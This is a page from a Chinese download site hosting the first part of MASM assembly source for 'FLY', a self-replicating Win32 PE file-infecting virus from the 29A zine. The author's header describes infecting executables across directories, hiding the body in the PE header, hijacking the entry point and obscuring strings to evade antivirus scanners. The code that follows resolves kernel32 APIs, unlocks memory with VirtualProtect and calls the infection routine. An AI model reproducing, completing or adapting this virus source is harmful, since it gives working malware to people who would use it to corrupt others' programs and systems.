⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 29a-7.012

📁 从29A上收集的病毒源码
💻 012
📖 第 1 页 / 共 3 页
字号:

;@ECHO OFF
;GOTO MAKE

COMMENT @
				-=[ FLY ]=-
		               a lame virus
		                 by yoda
version: 1.21

Music..................borrowed Nirvana-Nevermind CD/Busta Rhymes/KKS/RunDMC
Assembler..............MASM
Editor.................UltraEdit32
Reason for coding......last school holiday day :)
Target files...........PE32/PE32+ EXE files
Payload................MessageBox if PC is already 30min up

It was nice to find out that KAV added FLY 1.1 to its virii database as Win32.Small.1144.
The edge is that they didn't find the "FLY" trademark in the header and so it rests in
disinfected files :)
This version is fully recoded. The old code was often less optimized and such things.
FLY 1.2 infects 32/64 bit EXE files in the current and in all subdirectries (it's called
dot dot methode, I think).
Whereby I don't know whether infected PE32+ files will run...I think:NO...in this case you'll
have to look at FLY as a PE32 infector with a PE32+ destruction feature :)
The virus body is neither appended at the target file image nor it's written into a
section (like the RelocationDirectory section - .reloc). First I patch the file image
to make the SizeOfHeaders 0x1000...move sections physically, fix NT/ST headers... And after
that the virus body is written into the PE header. I didn't include any BoundImportDirectory
processing. This Directory is always (I think) stored in the PE Header (after the
SectionHeaderTable). If present, it maybe gets overwritten, so I simply clear the BoundImport
DataDirectory in the DataDirectoryEntryTable.
The EntryPoint RVA in the header of the victim isn't changed. FLY assembles...
	PUSH    ptr_to_virus_body
	RET
...at the EntryPoint and when the execution of the virus body is finished, it rewrites the
orginal EntryPoint bytes and jumps to it.
Because we don't have write access in the PE header in memory, one of the first steps FLY does
is getting this access by the VirtualProtect API.
I generally tried to avoid strings like "*.exe", "MZ", "MessageBoxA" in the virus body. This
is reallized by different ways:obfuscation values, build strings on stack or by XORing the
data partion of the virus. Any other protection schemes like Anti-Debugging, Polymorphism or
things like that aren't used.
Payload is a simply but topmost :) MessageBox if the PC is already 30min up.

Disclaimer:
~~~~~~~~~~~
I AM NOT RESPONSIBLE FOR ANY DAMAGE CAUSED BY THIS SOURCE CODE NOR IT'S COMPILED EXECUTABLE !
I JUST CODED "FLY" FOR EDUCATION PURPOSES !

History:
~~~~~~~~
1.21: ( Virsu size: 0x715 Bytes )
- finally added SEH frame in "GetNTHeaders" routine

1.2: ( Virus size: 0x6D7 Bytes )
- all recoded (see above)
- [...]

1.1: ( Virus size: 0x484 Bytes / 1156 Bytes )
- Code optimized a bit
- Boring PER added
- API string CRC method added
- Minor bugfixes

1.0: ( Virus size: 0x560 Bytes / 1376 Bytes )
- first release

yoda

@

.386
.MODEL flat,stdcall
OPTION CASEMAP : NONE

; ------ INCLUDE's ----------------------------------------------------------------------
INCLUDE     \masm32\include\windows.inc

INCLUDE     \masm32\include\kernel32.inc
INCLUDELIB  \masm32\lib\kernel32.lib

; ------ STRUCTS-------------------------------------------------------------------------
PUSHA_STRUCT STRUCT 1
	_EDI              DWORD ?
	_ESI              DWORD ?
	_EBP              DWORD ?
	_ESP              DWORD ?
	_EBX              DWORD ?
	_EDX              DWORD ?
	_ECX              DWORD ?
	_EAX              DWORD ?
PUSHA_STRUCT ENDS

;SEH_DATA STRUCT 1
;	dwNewESP          DWORD ?
;	dwNewEIP          DWORD ?
;SEH_DATA ENDS

IMAGE_OPTIONAL_HEADER64 STRUCT 1
  Magic                         WORD       ?
  MajorLinkerVersion            BYTE       ?
  MinorLinkerVersion            BYTE       ?
  SizeOfCode                    DWORD      ?
  SizeOfInitializedData         DWORD      ?
  SizeOfUninitializedData       DWORD      ?
  AddressOfEntryPoint           DWORD      ?
  BaseOfCode                    DWORD      ?
  ImageBase                     QWORD      ?
  SectionAlignment              DWORD      ?
  FileAlignment                 DWORD      ?
  MajorOperatingSystemVersion   WORD       ?
  MinorOperatingSystemVersion   WORD       ?
  MajorImageVersion             WORD       ?
  MinorImageVersion             WORD       ?
  MajorSubsystemVersion         WORD       ?
  MinorSubsystemVersion         WORD       ?
  Win32VersionValue             DWORD      ?
  SizeOfImage                   DWORD      ?
  SizeOfHeaders                 DWORD      ?
  CheckSum                      DWORD      ?
  Subsystem                     WORD       ?
  DllCharacteristics            WORD       ?
  SizeOfStackReserve            QWORD      ?
  SizeOfStackCommit             QWORD      ?
  SizeOfHeapReserve             QWORD      ?
  SizeOfHeapCommit              QWORD      ?
  LoaderFlags                   DWORD      ?
  NumberOfRvaAndSizes           DWORD      ?
  DataDirectory                 IMAGE_DATA_DIRECTORY IMAGE_NUMBEROF_DIRECTORY_ENTRIES dup(<>)
IMAGE_OPTIONAL_HEADER64 ENDS

IMAGE_NT_HEADERS64 STRUCT 1
  Signature         DWORD                   ?
  FileHeader        IMAGE_FILE_HEADER       <>
  OptionalHeader    IMAGE_OPTIONAL_HEADER64 <>
IMAGE_NT_HEADERS64 ENDS

; ------ EQU's --------------------------------------------------------------------------
OBFUSCATION_VAL           EQU 018273645h
FLY_BODY_SIZE             EQU (FLY_END - FLY_START)
FLY_TRADEMARK             EQU "YLF"                                 ; pasted in FileHeader.PointerToSymbolTable
VIRUS_OFFSET              EQU (01000h - FLY_BODY_SIZE)
MIN_PAYLOAD_TICK          EQU 30 * 60 * 1000                        ; (30 min)

; ------ CODE ---------------------------------------------------------------------------
.CODE
	ASSUME FS : NOTHING
Main:
	CALL GetVersion			; The compiled exe won't run on Win2k without any Imports :(
	                                ; This call is just for the first generation

FLY_START:
;	INT  3
	;-> receive delta
	PUSHAD
	CALL    get_delta
  get_delta:
        ADD     DWORD PTR [ESP], OBFUSCATION_VAL
        LEA     EBX, [OFFSET get_delta + OBFUSCATION_VAL]
        POP     EBP
        SUB     EBP, EBX
        
        ;-> get kernel ImageBase
        PUSH    [ESP].PUSHA_STRUCT._ESP
        CALL    GetKernelBase
        TEST    EAX, EAX
        JZ      total_quit
        MOV     EDI, EAX                                             ; EDI -> K32 base
        
        ;-> get write access for the virus body (in PE Header is usually ReadOnly access)
        SUB     ESP, 16
        MOV     ESI, ESP                                             ; ESI -> base ptr of our little stack frame
        MOV     DWORD PTR [ESI], "triV"                              ;
        MOV     DWORD PTR [ESI + 4], "Plau"                          ;
        MOV     DWORD PTR [ESI + 8], "etor"                          ;
        MOV     DWORD PTR [ESI + 12], "tc"                           ; build "VirtualProtect\0" str on stack
        PUSH    15
        PUSH    ESI
        PUSH    EDI
        CALL    GetProcAddr
        ADD     ESP, 16
        PUSH    EAX                                                  ; reserve a DWORD on the stack as lpflOldProtect buff
        PUSH    ESP
        PUSH    PAGE_EXECUTE_READWRITE
        PUSH    FLY_BODY_SIZE
        LEA     EBX, [EBP + FLY_START]
        PUSH    EBX
        CALL    EAX                                                  ; modify page access via VirtualProtect        
        POP     EAX
        
        ;-> dexor our data partition
        MOV     EBX, [EBP + dwEPRva]                                 ; EBX -> EntryPoint RVA (arg1)
        CALL    GetXorByte                                           ; returns 0 in first generation
        PUSH    EAX
        PUSH    (Variable_Crypt_End - Variable_Crypt_Start)
        LEA     EAX, [EBP + Variable_Crypt_Start]
        PUSH    EAX
        CALL    memxor          
        
        MOV     [EBP + dwK32Base], EDI                               ; now we can save the K32 base

        ;-> collect addresses of needed APIs
        CALL    GrabAPIs
        
        ;-> PE infection
        MOV     EBX, EBP
        CALL    TraceAndInfectDirectory
        
	;-> return to OS/original EntryPoint
	TEST    EBP, EBP                                             ; EBP == 0 -> first generation
	JNZ     non_virgin_generation
  total_quit:
	POPAD
	RET                                                          ; return to OS
	
  non_virgin_generation:
        ;-> payload
        CALL    DriveUserNutsHiHi
        ;-> move EntryPoint ptr to EDI of the popad'd regs
        MOV     EAX, [EBP + dwImageBase]
        ADD     EAX, [EBP + dwEPRva]
        MOV     [ESP].PUSHA_STRUCT._EDI, EAX
        ;-> restore bytes at the EntryPoint
        PUSH    6
        PUSH    EAX
        LEA     EAX, [EBP + bEntryData]
        PUSH    EAX
        CALL    memcpy
        POPAD
        JMP     EDI                                                  ;-> jump to victim's EntryPoint
	
;
; Args:
; [ESP + 4]   - initial ESP value
;
; Returns:
; ImageBase of Kernel32.dll or 0 in EAX
;
; Reserved Regs: NO
;
GetKernelBase:
ARG_1 EQU [ESP + 4]
	;INT     3
	; wipe LOWORD of K32 ptr
	MOV     ESI, ARG_1
	MOV     ESI, [ESI]                                           ; ESI -> ptr into K32
	SAR     ESI, 16                                              ;
	SAL     ESI, 16                                              ; ESI &= 0xFFFF0000
  @@test_4_PE_hdr:
	PUSH    ESI
	CALL    GetNTHeaders
	TEST    EAX, EAX
	JZ      @F
	; K32 PE hdr found !
	XCHG    EAX, ESI		
	JMP     @@exit_proc
  @@:
  	SUB     ESI, 000010000h
  	JMP     @@test_4_PE_hdr
  @@exit_proc:
	RET     4
	
;
; Args:
; [ESP + 4]   - ptr to an PE image
; EBP         - delta !
;
; Returns:
; the ptr to the NT headers of NULL in case of an error
;
; Reserved Regs: ALL
;
GetNTHeaders:
ARG_1 EQU [ESP + 4 + 2*4 + SIZEOF PUSHA_STRUCT]
;	INT    3
	PUSHAD
	; set up SEH frame
	SUB     EAX, EAX
	LEA     EBX, [EBP + SehHandler]
	PUSH    EBX
	PUSH    FS:[EAX]
	MOV     FS:[EAX], ESP
	; process
	SUB     EAX, EAX                                             ; EAX -> 0 (result REG)
	MOV     ESI, ARG_1                                           ; ESI -> pImage
	MOVZX   EDX, WORD PTR [ESI]
	ADD     EDX, 1234
	SUB     EDX, "ZM" + 1234
	JNZ     GetNTHeaders_exit
	MOV     EDI, DWORD PTR [ESI].IMAGE_DOS_HEADER.e_lfanew
	MOV     EDX, [EDI + ESI]
	SUB     EDX, 4321
	SUB     EDX, "EP" - 4321
	JNZ     GetNTHeaders_exit
	LEA     EAX, [EDI + ESI]	
  GetNTHeaders_exit:
	SUB     EBX, EBX
	POP     FS:[EBX]
	ADD     ESP, 4 
	MOV     [ESP].PUSHA_STRUCT._EAX, EAX                              ; EAX -> popad'd REGs
	POPAD
	RET     4
	
SehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
;	INT     3
	;-> modify EIP and continue execution
	MOV     EAX, pContext                                        ; EAX -> context ptr
	MOV     ECX, [EAX].CONTEXT.regEbp                            ; ECX -> debuggee's EBP
	LEA     EBX, [ECX + GetNTHeaders_exit]
	MOV     [EAX].CONTEXT.regEip, EBX
	MOV     EAX, ExceptionContinueExecution
	RET
SehHandler ENDP  	
	
;
; void* GetProcAddr(HINSTANCE hDLL, char* szAPI, DWORD dwcAPIStrSize);
;
; Returns:
; NULL     - in case of an error
;
; Reserved Regs: Win32 API
;
GetProcAddr:
ARG_1 EQU [ESP +  4]
ARG_2 EQU [ESP +  8]
ARG_3 EQU [ESP + 12]
	PUSH    EBX
	PUSH    ESI
	PUSH    EDI
	MOV     EDX, [ESP + 4 + 12]                                  ; EDX -> dll base
	
	; get ptr to NT hdrs
	PUSH    EDX
	CALL    GetNTHeaders
	TEST    EAX, EAX                                             ; EAX -> ptr to NT hdrs
	JZ      @@GetProcAddr_exit
	
	; get ptr to ExportTable (PE32/PE32+ dependent code)
	CMP     WORD PTR [EAX].IMAGE_NT_HEADERS.OptionalHeader.Magic, IMAGE_NT_OPTIONAL_HDR32_MAGIC
	JNZ     get_exp_table_rva_64
	MOV     EDI, [EAX].IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[0].VirtualAddress
	JMP     @F
  get_exp_table_rva_64:
  	MOV     EDI, [EAX].IMAGE_NT_HEADERS64.OptionalHeader.DataDirectory[0].VirtualAddress
  @@:

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -